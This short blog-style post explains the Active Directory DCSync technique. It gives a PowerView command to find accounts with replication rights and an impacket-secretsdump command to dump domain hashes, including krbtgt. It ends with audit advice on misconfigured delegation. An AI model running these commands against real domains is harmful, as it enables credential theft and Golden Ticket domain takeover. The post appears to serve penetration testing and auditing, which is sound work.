DCSync with replication rights

Jul 11, 2026 · 1 min read

Check who holds replication rights on the domain object; misconfigured delegation frequently grants them to non-DA accounts. With them, replicate secrets remotely.

bash

# enumerate risky ACLs
Get-ObjectAcl -DistinguishedName "dc=dom,dc=local" -ResolveGUIDs | ? {$_.ObjectAceType -match 'Replication'}

Pull the hashes.

bash

impacket-secretsdump -just-dc dom/user:[email protected]
# or target one account: -just-dc-user krbtgt

Pro note: grabbing krbtgt enables Golden Tickets, so treat replication rights on a non-tier-0 account as a critical finding. It is a common outcome of Exchange installs and legacy delegation, so audit the domain-head ACL specifically, not just group membership.